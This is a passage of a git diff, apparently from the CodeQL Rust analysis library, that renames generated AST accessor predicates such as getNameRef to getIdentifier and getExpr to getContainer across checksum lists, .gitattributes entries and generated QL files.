8284d9133c21136f89a04105c280efe736a782035235c6abc081f3d9a2616447 +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql d141f5a2ef95019aa64e8cb384ab4a45e7a93c941b84ef2e14c13377f159e4db 47a68fc874af6cc9a4b278a5aab1633a9db17300fd7dbd6dbe193d48d99144bc test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql 180e0b1715f5cd2be0de01bff3d3a45594b495b8250748d40ff7108d6c85923d bdadcdbecca5891287a47b6dd6b2fda62e07457718aef39212503ab63bc17783 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql 2ce876a04a159efce83b863dffc47fbb714b95daea2b91fa6fbb623d28eed9ec 7bca1cd0e8fbceec0e640afb6800e1780eff5b5b402e71b9b169c0ba26966f96 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql 655db9a0501b1ef20d604cc4cd9d708371781291443e8dec97b70ec2914601d2 2fc7df0eca22dcef2f9f5c86d37ee43452d372a4c0f9f4da0194828c82ba93e0 -test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql 9a4829a174388e818f0c63ee6b8bdf1b68beaab48f51734ec6cc14635d24001c f57c9cdaf5235aad604f60b53ce92e73946d03a085f95ed051a26683967be4ba +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql 13c08e67eda07ea9ddc6f22ab4fc7773185c0b700ae11d57b62e0c78a4dea2e3 cb812e282a77fa29c838ba939d342a29c360c263c5afa5aac4ad422a8176869b test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql 77407ac956c897ff7234132de1a825f1af5cfd0b6c1fd3a30f64fe08813d56db d80719e02d19c45bd6534c89ec7255652655f5680199854a0a6552b7c7793249 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql c22504665900715e8a32dd47627111e8cef4ed2646f74a8886dead15fbc85bb5 d92462cf3cb40dcd383bcaffc67d9a43e840494df9d7491339cbd09a0a73427b test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql 9e7bbb7ed60db49b45c3bdf8e01ec58de751889fc394f59ac33f9d6e98200aa1 c055d877e2ff0edc78cce6dd79c78b2881e7940889729cbb5c12e7029ddeb5a3 @@ -996,9 +996,9 @@ test/extractor-tests/generated/Path/PathPat.ql 6b9d973009f1b4963c7c83b0f5051eda7 test/extractor-tests/generated/Path/PathPat_getPath.ql 6c0c71c80a6e631ea7775ec8660b470ff6b264bab14a399606cf113b1fb190fc 8e34cbb4d064db929e94652e1901ec4f26affa71e30e556b7acdff71dd622cbb test/extractor-tests/generated/Path/PathPat_getResolvedCrateOrigin.ql f690fd9a8773e7c73b70f2d64ee919fef8eee243c5a315c4a6d2713d43ea0e43 f37817427c36cec14a2e07f99d3a32f37f3f27a8eafdf170749ec2780054729b test/extractor-tests/generated/Path/PathPat_getResolvedPath.ql 55df4541a7b0e82198acfcedd7dc99eb564908270e4fb2b032bf05e40fba6fef a5932d884903da901263f88644c8585a45045190d7204f630506c5aece798288 -test/extractor-tests/generated/Path/PathSegment.ql e75c820f7cf8c94cae72053ee3cadd6b60e342b78d03d310fa94f16a5776a096 b90af2408bbfc684f156ce053be91639f9f011c0aeff9a1f51a5865b285f6e66 +test/extractor-tests/generated/Path/PathSegment.ql 523ec635961b9aff465dd98a1e63f8e872e147943646ea7383af95c3fa5d8e42 29bd402ee76eaa080cd6fbf29ba9d9141cc9828f1d3ddf162da6534daed52c56 test/extractor-tests/generated/Path/PathSegment_getGenericArgList.ql 8f6e67b3e316309f20e21d7e7944accf66b0256b76fa50ee9a714044c6ec8cea 15f10a701fc4d3f9fd6734da90790cdbc8a1ddd57bf52695740acedcb2e6e485 -test/extractor-tests/generated/Path/PathSegment_getNameRef.ql 799d284e2f9267d6bbe67aa7035e525ef347dc74cb3e2180e7b2171b5cb49674 592130bc2358989536abf62e8a261272c851483ede4f19783f7d61ffc1803e4b +test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql 52fedfc7518d4646e5f90843806c70fcfde7e7af602846a4f1dd90c3a46c9229 a291e47676ee9d257ac76fd5e4088f5905ec5fefc77568038efa6c88d2116a85 test/extractor-tests/generated/Path/PathSegment_getParenthesizedArgList.ql 0d5919b0a240678d84dc687de954ef6dc11fe4a20f54c56578c541c573bdf3f2 5d2094ad5c0b0b7f298260511c5072b129b121928394b27c49d39e69ba6a5870 test/extractor-tests/generated/Path/PathSegment_getRetType.ql 36386a514bc925f5b17ad87afba9fef7986900c1b791732de061213c6e86743f f38bcee68c1da19e70bb1e1c4a4047c763a466f1b8ef2c4f65f8c724c0b58197 test/extractor-tests/generated/Path/PathSegment_getReturnTypeSyntax.ql d1db51208a311c30af369ce2fdc3a3296e7d598b27bf4960b8b34622a9d9163b 561b1e38c6d8b301fdc016e1d012dd805fde1b42b0720c17d7b15535715047f2 @@ -1081,17 +1081,17 @@ test/extractor-tests/generated/StructExpr/StructExpr_getPath.ql f6f2b26a93b24d19 test/extractor-tests/generated/StructExpr/StructExpr_getResolvedCrateOrigin.ql c2794babda0823c62c2af6fe9e3b11d8e4b6baa8095bf8f01faee13b4894ff67 cba6a7576a572238c59142e46cc398c5f31cd91c8d1710381d579bb6bb0edb7c test/extractor-tests/generated/StructExpr/StructExpr_getResolvedPath.ql 5152d15064daa1da4470cdc659a07281734d56ed958e67efc54701eb44d550dc a7a78db088b0dd7b7c148ad24c8faa014e2eab29146e056bdf35bef5ca2f8485 test/extractor-tests/generated/StructExpr/StructExpr_getStructExprFieldList.ql 1c2401038fe14e660d5101951e7467dc3a56969698a8cc5b818d664902b269bc f6b7047112ade49b632d2e3f71531dd2dffe7c2cc848587908fa4b85dc06ee82 -test/extractor-tests/generated/StructExprField/StructExprField.ql 4a530138ecae9ac693cd7d3dc06f02a8457263e4a7e9ab13092c59441de0f4c1 e434b184b6ed4ff0f759c33df4a41519d85163c8efbf259c1c9a65b282b0cfa7 +test/extractor-tests/generated/StructExprField/StructExprField.ql f054440c074461bdb00506e775be346efc4faf8afd3e55d61f72c8776d1d4bd5 8bfacfa4864309157b6795de26e6c37676ad627e2e8771dfdc8abe57ff269c92 test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql 660400f80824956422b95923519769df08514f089269c7a5ccc14036b90b233d f137716537f8780ad63bd6af0da06a96f0d00cb7a35402d3684e6866112b9d1a test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql 00180d982057ee23297578d76bf1a337fde8341f0520ebfa5786c8564884ae5a c2b813c25df4ffc49486426365cc0cc0bbf07cf0c7d7adece7e6576fc8b776dc -test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.ql 1c1263f0f5b69ec098b59ba8dfe9689d20ca8359b09887e73026bee908bea37d 044b48656a7e53d2c4a3d638c8881d29f9045c24467b11ebeb96b9e35dc0d322 +test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql 9bacb8d6590d5cde340443c4d0963a8ef8ddf434f912a28b04f9dd9f76504f3b 1a2209ee1086873dd2b07979b089bbab849283bfb8f44ba3deb5ff480acc1cbd test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql 33dc3f6c1f737e0ca2015530467bfa123eac0eb8ab63f2937ad0064f2246fb2d b89d5817c6a249232540570ef93ecf880a8ef74aa409c7cd8ddbc83f6d589fea test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql cd7f5236f6b660fc064f3a04f3a58d720ed4e81916cbd1a049c1fac7171108ed 61317928d0833f7bb55255a5045bedc0913db1266e963ede97d597ee43e3ddd9 test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql 1292aec1141bdb75fd8e0993f683035f396a0e6c841b76ee86a0a1d3dce0dbc4 450eccbd07cc0aa81cef698f43d60aeb55f8952a573eaf84a389a6449c3d63a7 test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql d0470b9846323d0408e0f26444cdc5322d78ce1ac203073ff4f556dac5343be7 280712a0b3714256aff4c2a4370fd43e70c418f526e383ed7100d61cdf790c36 -test/extractor-tests/generated/StructField/StructField.ql ad16292735a9bdbfcb287cf7141bbe52df894f7e5695cab1ebde670e4b314984 84ce151bdcbfc4decb2682417f024029897120f8067dd22a9ee56ccc47e0898d +test/extractor-tests/generated/StructField/StructField.ql 7943d00e32171da93fae8215456c79b2df590cffa7241f4c0e78b0d7d525b1b2 6d5e3825075d2cb4438adf699a5a92ce22301ea58888d63ea336118bf29c0205 test/extractor-tests/generated/StructField/StructField_getAttr.ql a01715bc688d5fa48c9dd4bfab21d0909169f851a290895c13a181f22c0e73a9 fa6ffcf007492d9e1b7f90d571b9747bd47b2dc29e558a8e1c3013c5949dcdb7 -test/extractor-tests/generated/StructField/StructField_getExpr.ql 2d71524a890ffe2856c38c3549d05ca1a29765fa8214aa4168bf22d325f28707 24a1b78c143620ddb68f95879617f2b4f9172da36e13405d558fa6dc4f260257 +test/extractor-tests/generated/StructField/StructField_getDefault.ql deccc63b81892cd1b293d8b328ad5b3efdf32892efc8b161dfcd89330ca6b5a2 9a9f306f63208ce30d26f91dd15b94867a7d9affd31a0f51a3d1d2ce50786abc test/extractor-tests/generated/StructField/StructField_getName.ql 4c5a7e00b758a744a719bff63d493ee7d31ff8b3010e00c1d1449034d00130ec 9b284d848e5c86eac089f33deca7586441a89d927e7703cb4f98bb7c65a7238c test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql 3f36890b9ced576327d0fb6e3c80c6482c3a6d6f751fa769b24b2c14a46f8ee8 aed0681a3928b965f1448954d3a0369238a3cd715b97a0d988d15b971bf45356 test/extractor-tests/generated/StructField/StructField_getVisibility.ql 335d097fabbc9720b065248cd1c295fe8dc040bf646ce491244b6840d9a847d3 9a9073eb52cd401b07beb4eb0aef7a15d5d398d0c76c35416ffcb059a360d654 @@ -1100,9 +1100,9 @@ test/extractor-tests/generated/StructPat/StructPat_getPath.ql 03fb1254cc797239de test/extractor-tests/generated/StructPat/StructPat_getResolvedCrateOrigin.ql e3188ae0bb8835ad4aed5c775b52afb6cc7f9c520a8f62140d6cc590f2b8ce5d fd3e6eaf185e933e5ab1566cc49ef3497e50608070831879e01cf5a5ec23eae5 test/extractor-tests/generated/StructPat/StructPat_getResolvedPath.ql 1f4be7d78b187997093d52729d985dceb4c9e918274e0b9f06585e3337e3044b 2533855f07fce230dd567b2192ee20168bca077dbf7f1e8489dec142fcd396b8 test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql f7b6dadd6ed0e40fb87e4be6eabe7fb96931b8c910c443588147202707655ced a43de755e0ca786a491afc97805e34d787c7bd03e7bca8df090e9386d4019688 -test/extractor-tests/generated/StructPatField/StructPatField.ql 283c474e08a209ab4eb4bbc2cb6b7d3ff20326a0257c26d039f7d76b37859c87 276d06a98e091fe7737ecbb686753607c9506a1bca8ee78c801d1acf18e2923b +test/extractor-tests/generated/StructPatField/StructPatField.ql e6f468111706d4254b6c3e686c31e309c11b4246d8ed7eb288dd349ec0787c12 7ab1b5ead54fe09daf3d4cc6d8eb3e39fe253bede8822187de1a74a10cc59e01 test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql 5e1df4f73291bbefda06437859aef73457fe58a22c134ceb9148cfcc19b696e7 69aea129500dca110023f03c6337e4b1a86627d6d51c43585534cf826db13d04 -test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.ql 2496b1b5efe9036b4d93738ff4372396ff5dccad126e615f7ffd9b69ad44628b e8ce0dad6dd7561c11df59afcbb04a9c01fcdc66045f1abf31982e25d3f4b5ac +test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql bf44755d6b82d69610de44cab2d49362b10621589948b68480d80412acec820a ec06b8f947cdaca913fd44685e5ce2bf52281306808cbb17e7e88118c897f877 test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql bb3e9ad8cdaac8723504fffbafa21acc95c5bce7843fc6f3641e98758d93573f 77e6f9946e66a25ac70622e65c164413e7001f4b8e9361a0850171fc0cead935 test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql fad84896295380e3576bfaef384ac88b2f96a73196d8df3ec39ecc6184ec053f 3dd63ce5d1ffd48c873397368c6229de8da37e8f694f395165af8257a4d2faf2 test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql 4e6fa98e48d474f31585a644d6045b7d8427a76bb04810728ad121a43b59e8a2 e3b1d915aae3e3c3df752146e222df71667f73731d7337cc2eb391b13f097315 @@ -1198,10 +1198,10 @@ test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974 test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.ql c265a88347e813840969ae934dfd2904bc06f502de77709bc0b1c7255e46382a 52a239c8ea5fd8fbfbd606559d70ecadc769887437a9bcab6fb3e774208ad868 test/extractor-tests/generated/UseTreeList/UseTreeList.ql cd943c15c86e66244caafeb95b960a5c3d351d5edbd506258744fb60a61af3b2 cfa584cd9d8aa08267fd1106745a66226b2c99fadd1da65059cc7ecf2f2e68cf test/extractor-tests/generated/UseTreeList/UseTreeList_getUseTree.ql dd72966b1cb7b04f0267503013809063fcfb145e2b2d7d5250d9f24d2e405f9a 75b953aa11c51ca0fe95e67d50d6238962d8df4a4b9054999a2c6338e5a5613d -test/extractor-tests/generated/Variant/Variant.ql c60dd31adac91e09f8b1e5523d6b859747e64ef072c077b5a3326763f9f461f7 55d6446a3a831ed1137264678c5df027eb94cb3570a88d364994851fe6236999 +test/extractor-tests/generated/Variant/Variant.ql 861e349a2c11571eb027e740b4bf29c0ce98b0f1342e45b364bb5fcbaa487d91 5825b12837862765e23ed09c08c146cc292b2305aadc531ad826ad5bb36f9cdc test/extractor-tests/generated/Variant/Variant_getAttr.ql dd38e48e1eb05ce280b880652a90010eb63f7de3be7232411ba6265691249420 f8980680104de1e5fd40f264d8d62346aacaf6403a5e051f6fd680e234c82c1f test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql 99e79930f8ff87a25f256926e5c3ce1ee0847daf6fadc5445fb33c85328b4c61 2dd64a53813790654c83be25b5e175c9c5b388e758723c2138fff095353fdd7b -test/extractor-tests/generated/Variant/Variant_getExpr.ql ce00af303d28f60c5fd1dc7df628c7974aced21884e223a2f656cb4f0d1a74d5 9de51a65510cf9a15801d4207b616915bd959c95ec7330fdb502c5dff5b650cc +test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql 2adba17d4acd790ea7ff738a23fc8d691e40bbc0e1770bc0f15a6a6f0f1b37f2 6e28a8aef3cde78ce8db50e4a48c663d1aacd7a4cc8c212e7c440160da7ae4c2 test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql fe6a4bfd1440e7629d47283910de84c5e8c2f5645512780e710f53540b5bc886 b1e31b765cb1a5fe063abb8c1b2115e881ae28aa3ccd39e088ff8f2af20d6cf4 test/extractor-tests/generated/Variant/Variant_getFieldList.ql 083c8cf61989663de33d99b72dec231c308ccc8bb6739921465c473a07e8ea03 d03bff6945853c940acdc053b813d53b008ddab9a8bd4307826433828d4763ce test/extractor-tests/generated/Variant/Variant_getName.ql 0d7b47bec9f9031c67f7b684112a84a311ef9b2efeb260bd7cd6f424011ca0d8 73565e6f965dd7fd7bb9b3408c7d7b69120e1971b67ab307fed293eb663a59ae diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index 804b88274a5..82583c07ba8 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -692,7 +692,7 @@ /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated -/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getNameRef.ql linguist-generated +/test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getIdentifier.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getParamList.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getRetType.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getReturnTypeSyntax.ql linguist-generated @@ -782,7 +782,7 @@ /test/extractor-tests/generated/ExternCrate/ExternCrate_getAttr.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getCrateOrigin.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getExtendedCanonicalPath.ql linguist-generated -/test/extractor-tests/generated/ExternCrate/ExternCrate_getNameRef.ql linguist-generated +/test/extractor-tests/generated/ExternCrate/ExternCrate_getIdentifier.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getRename.ql linguist-generated /test/extractor-tests/generated/ExternCrate/ExternCrate_getVisibility.ql linguist-generated /test/extractor-tests/generated/ExternItemList/ExternItemList.ql linguist-generated @@ -790,8 +790,8 @@ /test/extractor-tests/generated/ExternItemList/ExternItemList_getExternItem.ql linguist-generated /test/extractor-tests/generated/FieldExpr/FieldExpr.ql linguist-generated /test/extractor-tests/generated/FieldExpr/FieldExpr_getAttr.ql linguist-generated -/test/extractor-tests/generated/FieldExpr/FieldExpr_getExpr.ql linguist-generated -/test/extractor-tests/generated/FieldExpr/FieldExpr_getNameRef.ql linguist-generated +/test/extractor-tests/generated/FieldExpr/FieldExpr_getContainer.ql linguist-generated +/test/extractor-tests/generated/FieldExpr/FieldExpr_getIdentifier.ql linguist-generated /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr.ql linguist-generated /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getAbi.ql linguist-generated /test/extractor-tests/generated/FnPtrTypeRepr/FnPtrTypeRepr_getParamList.ql linguist-generated @@ -951,7 +951,7 @@ /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql linguist-generated -/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getNameRef.ql linguist-generated +/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getIdentifier.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getReceiver.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedCrateOrigin.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getResolvedPath.ql linguist-generated @@ -1000,7 +1000,7 @@ /test/extractor-tests/generated/Path/PathPat_getResolvedPath.ql linguist-generated /test/extractor-tests/generated/Path/PathSegment.ql linguist-generated /test/extractor-tests/generated/Path/PathSegment_getGenericArgList.ql linguist-generated -/test/extractor-tests/generated/Path/PathSegment_getNameRef.ql linguist-generated +/test/extractor-tests/generated/Path/PathSegment_getIdentifier.ql linguist-generated /test/extractor-tests/generated/Path/PathSegment_getParenthesizedArgList.ql linguist-generated /test/extractor-tests/generated/Path/PathSegment_getRetType.ql linguist-generated /test/extractor-tests/generated/Path/PathSegment_getReturnTypeSyntax.ql linguist-generated @@ -1086,14 +1086,14 @@ /test/extractor-tests/generated/StructExprField/StructExprField.ql linguist-generated /test/extractor-tests/generated/StructExprField/StructExprField_getAttr.ql linguist-generated /test/extractor-tests/generated/StructExprField/StructExprField_getExpr.ql linguist-generated -/test/extractor-tests/generated/StructExprField/StructExprField_getNameRef.ql linguist-generated +/test/extractor-tests/generated/StructExprField/StructExprField_getIdentifier.ql linguist-generated /test/extractor-tests/generated/StructExprFieldList/StructExprFieldList.ql linguist-generated /test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getAttr.ql linguist-generated /test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getField.ql linguist-generated /test/extractor-tests/generated/StructExprFieldList/StructExprFieldList_getSpread.ql linguist-generated /test/extractor-tests/generated/StructField/StructField.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getAttr.ql linguist-generated -/test/extractor-tests/generated/StructField/StructField_getExpr.ql linguist-generated +/test/extractor-tests/generated/StructField/StructField_getDefault.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getName.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getTypeRepr.ql linguist-generated /test/extractor-tests/generated/StructField/StructField_getVisibility.ql linguist-generated @@ -1104,7 +1104,7 @@ /test/extractor-tests/generated/StructPat/StructPat_getStructPatFieldList.ql linguist-generated /test/extractor-tests/generated/StructPatField/StructPatField.ql linguist-generated /test/extractor-tests/generated/StructPatField/StructPatField_getAttr.ql linguist-generated -/test/extractor-tests/generated/StructPatField/StructPatField_getNameRef.ql linguist-generated +/test/extractor-tests/generated/StructPatField/StructPatField_getIdentifier.ql linguist-generated /test/extractor-tests/generated/StructPatField/StructPatField_getPat.ql linguist-generated /test/extractor-tests/generated/StructPatFieldList/StructPatFieldList.ql linguist-generated /test/extractor-tests/generated/StructPatFieldList/StructPatFieldList_getField.ql linguist-generated @@ -1203,7 +1203,7 @@ /test/extractor-tests/generated/Variant/Variant.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getAttr.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getCrateOrigin.ql linguist-generated -/test/extractor-tests/generated/Variant/Variant_getExpr.ql linguist-generated +/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getFieldList.ql linguist-generated /test/extractor-tests/generated/Variant/Variant_getName.ql linguist-generated diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index eaaa1b8d0d6..12ef6847b82 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -901,7 +901,7 @@ module MakeCfgNodes Input> { override predicate relevantChild(AstNode child) { none() or - child = this.getExpr() + child = this.getContainer() } } @@ -935,26 +935,26 @@ module MakeCfgNodes Input> { int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the expression of this field expression, if it exists. + * Gets the container of this field expression, if it exists. */ - ExprCfgNode getExpr() { - any(ChildMapping mapping).hasCfgChild(node, node.getExpr(), this, result) + ExprCfgNode getContainer() { + any(ChildMapping mapping).hasCfgChild(node, node.getContainer(), this, result) } /** - * Holds if `getExpr()` exists. + * Holds if `getContainer()` exists. */ - predicate hasExpr() { exists(this.getExpr()) } + predicate hasContainer() { exists(this.getContainer()) } /** - * Gets the name reference of this field expression, if it exists. + * Gets the identifier of this field expression, if it exists. */ - NameRef getNameRef() { result = node.getNameRef() } + NameRef getIdentifier() { result = node.getIdentifier() } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - predicate hasNameRef() { exists(this.getNameRef()) } + predicate hasIdentifier() { exists(this.getIdentifier()) } } final private class ParentForExpr extends ParentAstNode, ForExpr { @@ -2003,14 +2003,14 @@ module MakeCfgNodes Input> { predicate hasGenericArgList() { exists(this.getGenericArgList()) } /** - * Gets the name reference of this method call expression, if it exists. + * Gets the identifier of this method call expression, if it exists. */ - NameRef getNameRef() { result = node.getNameRef() } + NameRef getIdentifier() { result = node.getIdentifier() } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - predicate hasNameRef() { exists(this.getNameRef()) } + predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the receiver of this method call expression, if it exists. @@ -3460,14 +3460,14 @@ module MakeCfgNodes Input> { cfgNode ) or - pred = "getExpr" and + pred = "getContainer" and parent = any(Nodes::FieldExprCfgNode cfgNode, FieldExpr astNode | astNode = cfgNode.getFieldExpr() and - child = getDesugared(astNode.getExpr()) and + child = getDesugared(astNode.getContainer()) and i = -1 and hasCfgNode(child) and - not child = cfgNode.getExpr().getAstNode() + not child = cfgNode.getContainer().getAstNode() | cfgNode ) diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index 2d02e28375f..e7ac536d489 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -22,18 +22,18 @@ module Generated { override string getAPrimaryQlClass() { result = "AsmRegSpec" } /** - * Gets the name reference of this asm reg spec, if it exists. + * Gets the identifier of this asm reg spec, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertAsmRegSpecToRaw(this) .(Raw::AsmRegSpec) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index fff85bc88af..66f6637e685 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -63,19 +63,19 @@ module Generated { final predicate hasGenericArgList() { exists(this.getGenericArgList()) } /** - * Gets the name reference of this assoc type argument, if it exists. + * Gets the identifier of this assoc type argument, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertAssocTypeArgToRaw(this) .(Raw::AssocTypeArg) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the parameter list of this assoc type argument, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll index b3518993cf3..f32f50b89d1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ExternCrate.qll @@ -49,19 +49,19 @@ module Generated { final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the name reference of this extern crate, if it exists. + * Gets the identifier of this extern crate, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertExternCrateToRaw(this) .(Raw::ExternCrate) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the rename of this extern crate, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll index 909af4a3b04..acb19cd2a52 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/FieldExpr.qll @@ -46,31 +46,31 @@ module Generated { final int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } /** - * Gets the expression of this field expression, if it exists. + * Gets the container of this field expression, if it exists. */ - Expr getExpr() { + Expr getContainer() { result = - Synth::convertExprFromRaw(Synth::convertFieldExprToRaw(this).(Raw::FieldExpr).getExpr()) + Synth::convertExprFromRaw(Synth::convertFieldExprToRaw(this).(Raw::FieldExpr).getContainer()) } /** - * Holds if `getExpr()` exists. + * Holds if `getContainer()` exists. */ - final predicate hasExpr() { exists(this.getExpr()) } + final predicate hasContainer() { exists(this.getContainer()) } /** - * Gets the name reference of this field expression, if it exists. + * Gets the identifier of this field expression, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertFieldExprToRaw(this) .(Raw::FieldExpr) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll index dc1b32bea6c..116488ae6ef 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MethodCallExpr.qll @@ -47,19 +47,19 @@ module Generated { final predicate hasGenericArgList() { exists(this.getGenericArgList()) } /** - * Gets the name reference of this method call expression, if it exists. + * Gets the identifier of this method call expression, if it exists. */ - NameRef getNameRef() { + NameRef getIdentifier() { result = Synth::convertNameRefFromRaw(Synth::convertMethodCallExprToRaw(this) .(Raw::MethodCallExpr) - .getNameRef()) + .getIdentifier()) } /** - * Holds if `getNameRef()` exists. + * Holds if `getIdentifier()` exists. */ - final predicate hasNameRef() { exists(this.getNameRef()) } + final predicate hasIdentifier() { exists(this.getIdentifier()) } /** * Gets the receiver of this method call expression, if it exists. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll index cd76b6846ce..2103e7ee9a5 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ParentChild.qll +++ 